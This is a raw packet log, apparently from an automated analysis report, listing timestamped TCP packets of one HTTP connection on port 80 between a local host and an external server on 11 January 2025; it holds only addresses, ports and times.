Jan 11, 2025 07:02:14.926110983 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.926115990 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.926182032 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.926215887 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.926229000 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.926249027 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.926284075 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.926295042 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.926394939 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.926429987 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.926440954 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.926465988 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.926506042 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.926548004 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.926580906 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.926614046 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.926626921 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.926647902 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.926681995 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.926692963 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.927067041 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.927102089 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.927114010 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.927138090 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.927177906 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.927223921 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.927258015 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.927293062 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.927295923 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.927380085 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.927423954 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.928330898 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.928423882 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.928457975 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.928462982 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.928492069 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.928525925 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.928530931 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.928561926 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.928597927 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.928626060 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.929274082 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.929320097 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.929330111 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.929354906 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.929397106 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.929436922 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.929471016 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.929505110 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.929512978 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.929541111 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.929578066 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.929608107 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.929641008 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.929676056 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.929681063 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.929709911 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.929744005 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.929749966 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.929778099 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.929812908 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.929816961 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.930165052 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.930201054 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.930212021 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.930236101 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.930269003 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.930273056 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.930301905 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.930335999 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.930355072 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.930494070 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.930537939 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.931003094 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.931183100 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.931230068 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.931233883 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.931271076 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.931303978 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.931318998 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.931359053 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.931391954 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.931400061 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.931427956 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.931463003 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.931478977 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.931890965 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.931940079 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.931946993 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.932164907 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.932199955 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.932208061 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.932365894 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.932399988 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.932419062 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.932432890 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.932466984 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.932468891 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.932719946 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.932754993 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.932763100 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.932789087 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.932821989 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.932835102 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.933234930 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.933284998 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.933288097 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.933322906 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.933356047 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.933363914 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.933389902 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.933423042 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.933433056 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.933456898 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.933490038 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.933504105 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.933523893 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.933557987 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.933562994 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.934112072 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.934168100 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.934173107 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.934202909 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.934235096 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.934240103 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.934286118 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.934318066 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.934331894 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.934351921 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.934384108 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.934401035 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.934420109 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.934454918 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.934468985 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.935141087 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.935174942 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.935200930 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.935209990 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.935245037 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.935249090 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.935466051 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.935482025 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.935497999 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.935508966 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.935544014 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.935609102 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.935620070 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.935628891 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.935638905 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.935646057 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.935648918 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.935683966 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.936353922 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.936364889 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.936376095 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.936395884 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.936419964 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.936517954 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.936706066 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.936717987 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.936728001 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.936742067 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.936769009 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.936881065 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.936892033 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.936902046 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.936923981 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.937525034 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.937536001 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.937545061 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.937555075 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.937568903 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.937572002 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.937583923 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.937588930 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.937597036 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.937607050 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.937616110 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.937623978 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.937624931 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.937644005 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.937664986 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.938235998 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938246012 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938256979 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938268900 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.938282967 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938287973 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.938294888 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938304901 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938316107 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938337088 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.938363075 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.938436031 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938446045 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938457012 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938466072 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938474894 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938474894 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.938504934 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.938561916 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938572884 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938582897 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938592911 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938601017 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.938604116 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938615084 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938626051 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938627958 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.938652039 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.938666105 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.938693047 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938703060 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938711882 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.938731909 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.939150095 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939160109 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939169884 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939188004 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.939203024 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939213037 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939224005 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939224005 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.939248085 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.939270020 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939280987 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939291000 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939308882 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.939343929 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.939389944 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939534903 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939570904 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.939585924 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939595938 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939623117 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.939634085 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939644098 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939652920 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939671993 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.939699888 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939733982 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.939776897 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939788103 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939798117 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939809084 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939816952 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.939821005 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939845085 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.939913988 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939924002 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939934015 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939944029 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939953089 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939953089 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.939968109 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.939980984 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.940000057 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.940040112 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940051079 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940061092 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940072060 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940083981 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.940113068 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.940521002 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940531015 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940541029 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940561056 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.940592051 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940592051 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.940606117 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940617085 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940639019 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.940643072 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940654993 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940680027 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.940752029 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940762997 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940772057 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940783024 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940793991 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.940794945 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940807104 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940829992 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.940848112 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.940912008 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940922022 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940931082 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940941095 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940947056 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.940953016 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.940965891 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.940994024 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.941020966 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.941031933 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.941040993 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.941050053 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.941059113 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.941060066 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.941077948 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.941468954 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.941479921 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.941498041 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.941509962 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.941531897 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.941544056 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.941554070 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.941565037 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.941590071 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.943025112 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.943072081 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.943072081 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.943088055 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.943099022 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.943109035 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:14.943129063 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.943166971 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:14.999036074 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.004230976 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.004288912 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.004323006 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.004345894 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.004357100 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.004403114 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.004410028 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.004446030 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.004489899 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.004497051 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.004532099 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.004575014 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.004581928 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.004616022 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.004648924 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.004662037 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.004686117 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.004729033 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.004736900 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.004771948 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.004806042 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:02:15.004817009 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:02:15.004839897 CET	80	49707	193.143.1.205	192.168.2.8
